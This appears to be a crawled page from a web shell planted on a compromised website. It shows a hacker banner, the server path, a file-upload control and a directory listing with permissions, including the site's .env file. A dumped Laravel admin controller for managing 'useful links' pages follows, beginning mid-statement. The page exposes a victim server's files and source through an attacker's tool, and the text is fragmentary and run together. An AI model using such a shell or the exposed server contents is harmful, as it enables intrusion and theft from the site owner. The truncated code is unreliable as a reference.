I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
languages = Language::whereNot('code',LanguageConst::NOT_REMOVABLE)->get(); } /** * Mehtod for show campaign section page * @method GET * @return Illuminate\Http\Request Response */ public function index() { $languages = $this->languages; $page_title = __('Useful Links'); $type = Str::slug(GlobalConst::USEFUL_LINKS); $data = SetupPage::orderBy('id')->where('type', $type)->paginate(); return view('admin.sections.setup-pages.useful-links.index',compact( 'page_title', 'languages', 'data', )); } /** * Mehtod for show campaign section page * @method POST * @param Illuminate\Http\Request $request * @return Illuminate\Http\Request Response */ public function store(Request $request){ $title = ['title' => 'required|string|max:100']; $details = ['details' => 'required|string']; $type = Str::slug(GlobalConst::USEFUL_LINKS); $title_data['language'] = $this->contentValidate($request,$title); $details_data['language'] = $this->contentValidate($request,$details); $data['title'] = $title_data; $data['type'] = $type; $data['details'] = $details_data; $data['slug'] = Str::slug($title_data['language']['en']['title']); $data['last_edit_by'] = Auth::id(); try { SetupPage::create($data); } catch (\Throwable $th) { return back()->with(['error' => [__('Something went wrong! Please try again')]]); } return back()->with(['success' => [__('Page added successfully!')]]); } /** * Mehtod for show campaign section page * @method GET * @return Illuminate\Http\Request Response */ public function edit($id) { $languages = $this->languages; $page_title = __('Useful Link Edit'); $data = SetupPage::findOrFail($id); return view('admin.sections.setup-pages.useful-links.edit',compact( 'page_title', 'languages', 'data', )); } /** * Mehtod for show campaign section page * @method POST * @param Illuminate\Http\Request $request * @return Illuminate\Http\Request Response */ public function update(Request $request){ $validator = Validator::make($request->all(),[ 'target' => 'required|string', ]); if($validator->fails()) { return back()->withErrors($validator)->withInput()->with('modal','useful-link-edit'); } $validated = $validator->validated(); $title = ['title' => 'required|string|max:100']; $details = ['details' => 'required|string']; $title_data['language'] = $this->contentValidate($request,$title); $details_data['language'] = $this->contentValidate($request,$details); $data['title'] = $title_data; $data['details'] = $details_data; $data['slug'] = Str::slug($title_data['language']['en']['title']); $data['last_edit_by'] = Auth::id(); $setup_page = SetupPage::findOrFail($validated['target']); try { $setup_page->update($data); } catch (\Throwable $th) { return back()->with(['error' => [__('Something went wrong! Please try again')]]); } return redirect()->route('admin.useful.links.index')->with(['success' => [__('Page updated successfully!')]]); } /** * Mehtod for status update * @method PUT * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Request Response */ public function statusUpdate(Request $request) { $validator = Validator::make($request->all(),[ 'status' => 'required|boolean', 'data_target' => 'required|string', ]); if ($validator->stopOnFirstFailure()->fails()) { $error = ['error' => $validator->errors()]; return Response::error($error,null,400); } $validated = $validator->safe()->all(); $id = $validated['data_target']; $setup_page = SetupPage::findOrFail($id); if(!$setup_page) { $error = ['error' => [__('Page record not found in our system')]]; return Response::error($error,null,404); } try{ $setup_page->update([ 'status' => ($validated['status'] == true) ? false : true, ]); }catch(Exception $e) { $error = ['error' => [__('Something went wrong! Please try again')]]; return Response::error($error,null,500); } $success = ['success' => [__('Page status updated successfully!')]]; return Response::success($success,null,200); } /** * Mehtod for status update * @method PUT * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Request Response */ public function delete(Request $request) { $request->validate([ 'target' => 'required|string', ]); $setup_page = SetupPage::findOrFail($request->target); try{ $setup_page->delete(); }catch(Exception $e) { return back()->with(['error' => [__('Something went wrong! Please try again')]]); } return back()->with(['success' => [__('Page deleted successfully!')]]); } /** * Method for get languages form record with little modification for using only this class * @return array $languages */ public function languages() { $languages = Language::whereNot('code',LanguageConst::NOT_REMOVABLE)->select("code","name")->get()->toArray(); $languages[] = [ 'name' => LanguageConst::NOT_REMOVABLE_CODE, 'code' => LanguageConst::NOT_REMOVABLE, ]; return $languages; } /** * Method for validate request data and re-decorate language wise data * @param object $request * @param array $basic_field_name * @return array $language_wise_data */ public function contentValidate($request,$basic_field_name,$modal = null) { $languages = $this->languages(); $current_local = get_default_language_code(); $validation_rules = []; $language_wise_data = []; foreach($request->all() as $input_name => $input_value) { foreach($languages as $language) { $input_name_check = explode("_",$input_name); $input_lang_code = array_shift($input_name_check); $input_name_check = implode("_",$input_name_check); if($input_lang_code == $language['code']) { if(array_key_exists($input_name_check,$basic_field_name)) { $langCode = $language['code']; if($current_local == $langCode) { $validation_rules[$input_name] = $basic_field_name[$input_name_check]; }else { $validation_rules[$input_name] = str_replace("required","nullable",$basic_field_name[$input_name_check]); } $language_wise_data[$langCode][$input_name_check] = $input_value; } break; } } } if($modal == null) { $validated = Validator::make($request->all(),$validation_rules)->validate(); }else { $validator = Validator::make($request->all(),$validation_rules); if($validator->fails()) { return back()->withErrors($validator)->withInput()->with("modal",$modal); } $validated = $validator->validate(); } return $language_wise_data; } }